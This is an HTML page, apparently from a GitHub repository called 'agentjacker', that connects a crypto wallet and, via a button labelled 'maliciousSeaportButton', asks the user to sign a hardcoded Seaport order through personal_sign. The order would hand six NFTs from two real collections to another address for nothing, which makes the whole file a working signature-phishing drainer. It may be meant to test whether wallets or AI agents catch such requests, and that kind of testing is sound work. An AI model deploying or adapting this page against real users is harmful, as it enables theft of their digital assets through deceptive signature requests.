agentjacker.github.io/pop.html at main · agentjacker/agentjacker.github.io · GitHub

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<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Sign Typed Data v4</title>
    <script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/eth-sig-util@2.5.2/dist/sigUtil.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/ethereumjs-util@7.1.3/dist/ethereumjs-util.min.js"></script>
</head>
<body>
    <h3>Connect Wallet</h3>
    <button type="button" id="connectWalletButton">Connect Wallet</button>
    <h3>Sign typed data v4</h3>
    <button type="button" id="maliciousSeaportButton" disabled>eth_signTypedData_v4</button>

    <script>
        let web3;
        let userAccount;

        document.getElementById('connectWalletButton').addEventListener('click', async function () {
            if (typeof window.ethereum !== 'undefined' || (typeof window.web3 !== 'undefined')) {
                const provider = window['ethereum'] || window.web3.currentProvider;
                web3 = new Web3(provider);

                try {
                    const accounts = await provider.request({ method: 'eth_requestAccounts' });
                    userAccount = accounts[0];
                    document.getElementById('maliciousSeaportButton').disabled = false;
                    alert('Wallet connected: ' + userAccount);
                } catch (error) {
                    console.error('User denied account access', error);
                    alert('Failed to connect wallet');
                }
            } else {
                alert('MetaMask is not installed. Please install it to use this feature.');
            }
        });

        document.getElementById('maliciousSeaportButton').addEventListener('click', async function () {
            const chainIdInt = 1; // or replace with the actual chain ID you want to use
            const result = await web3.currentProvider.request({
                method: 'personal_sign',
                params: [
                    userAccount,
                    `{"types":{"OrderComponents":[{"name":"offerer","type":"address"},{"name":"zone","type":"address"},{"name":"offer","type":"OfferItem[]"},{"name":"consideration","type":"ConsiderationItem[]"},{"name":"orderType","type":"uint8"},{"name":"startTime","type":"uint256"},{"name":"endTime","type":"uint256"},{"name":"zoneHash","type":"bytes32"},{"name":"salt","type":"uint256"},{"name":"conduitKey","type":"bytes32"},{"name":"counter","type":"uint256"}],"OfferItem":[{"name":"itemType","type":"uint8"},{"name":"token","type":"address"},{"name":"identifierOrCriteria","type":"uint256"},{"name":"startAmount","type":"uint256"},{"name":"endAmount","type":"uint256"}],"ConsiderationItem":[{"name":"itemType","type":"uint8"},{"name":"token","type":"address"},{"name":"identifierOrCriteria","type":"uint256"},{"name":"startAmount","type":"uint256"},{"name":"endAmount","type":"uint256"},{"name":"recipient","type":"address"}],"EIP712Domain":[{"name":"name","type":"string"},{"name":"version","type":"string"},{"name":"chainId","type":"uint256"},{"name":"verifyingContract","type":"address"}]},"domain":{"name":"Seaport","version":"1.1","chainId":${chainIdInt},"verifyingContract":"0x00000000006c3852cbef3e08e8df289169ede581"},"primaryType":"OrderComponents","message":{"offerer":"0x5a6f5477bdeb7801ba137a9f0dc39c0599bac994","zone":"0x004c00500000ad104d7dbd00e3ae0a5c00560c00","offer":[{"itemType":"2","token":"0x60e4d786628fea6478f785a6d7e704777c86a7c6","identifierOrCriteria":"26464","startAmount":"1","endAmount":"1"},{"itemType":"2","token":"0x60e4d786628fea6478f785a6d7e704777c86a7c6","identifierOrCriteria":"7779","startAmount":"1","endAmount":"1"},{"itemType":"2","token":"0x60e4d786628fea6478f785a6d7e704777c86a7c6","identifierOrCriteria":"4770","startAmount":"1","endAmount":"1"},{"itemType":"2","token":"0xba30e5f9bb24caa003e9f2f0497ad287fdf95623","identifierOrCriteria":"9594","startAmount":"1","endAmount":"1"},{"itemType":"2","token":"0xba30e5f9bb24caa003e9f2f0497ad287fdf95623","identifierOrCriteria":"2118","startAmount":"1","endAmount":"1"},{"itemType":"2","token":"0xba30e5f9bb24caa003e9f2f0497ad287fdf95623","identifierOrCriteria":"1753","startAmount":"1","endAmount":"1"}],"consideration":[{"itemType":"2","token":"0x60e4d786628fea6478f785a6d7e704777c86a7c6","identifierOrCriteria":"26464","startAmount":"1","endAmount":"1","recipient":"0xdfdc0b1cf8e9950d6a860af6501c4fecf7825cc1"},{"itemType":"2","token":"0x60e4d786628fea6478f785a6d7e704777c86a7c6","identifierOrCriteria":"7779","startAmount":"1","endAmount":"1","recipient":"0xdfdc0b1cf8e9950d6a860af6501c4fecf7825cc1"},{"itemType":"2","token":"0x60e4d786628fea6478f785a6d7e704777c86a7c6","identifierOrCriteria":"4770","startAmount":"1","endAmount":"1","recipient":"0xdfdc0b1cf8e9950d6a860af6501c4fecf7825cc1"},{"itemType":"2","token":"0xba30e5f9bb24caa003e9f2f0497ad287fdf95623","identifierOrCriteria":"9594","startAmount":"1","endAmount":"1","recipient":"0xdfdc0b1cf8e9950d6a860af6501c4fecf7825cc1"},{"itemType":"2","token":"0xba30e5f9bb24caa003e9f2f0497ad287fdf95623","identifierOrCriteria":"2118","startAmount":"1","endAmount":"1","recipient":"0xdfdc0b1cf8e9950d6a860af6501c4fecf7825cc1"},{"itemType":"2","token":"0xba30e5f9bb24caa003e9f2f0497ad287fdf95623","identifierOrCriteria":"1753","startAmount":"1","endAmount":"1","recipient":"0xdfdc0b1cf8e9950d6a860af6501c4fecf7825cc1"}],"orderType":"2","startTime":"1681810415","endTime":"1681983215","zoneHash":"0x0000000000000000000000000000000000000000000000000000000000000000","salt":"1550213294656772168494388599483486699884316127427085531712538817979596","conduitKey":"0x0000007b02230091a7ed01230072f7006a004d60a8d4e71d599b8104250f0000","counter":"0"}}`
                ],
            });
            console.log(result);
        });
    </script>
</body>
</html>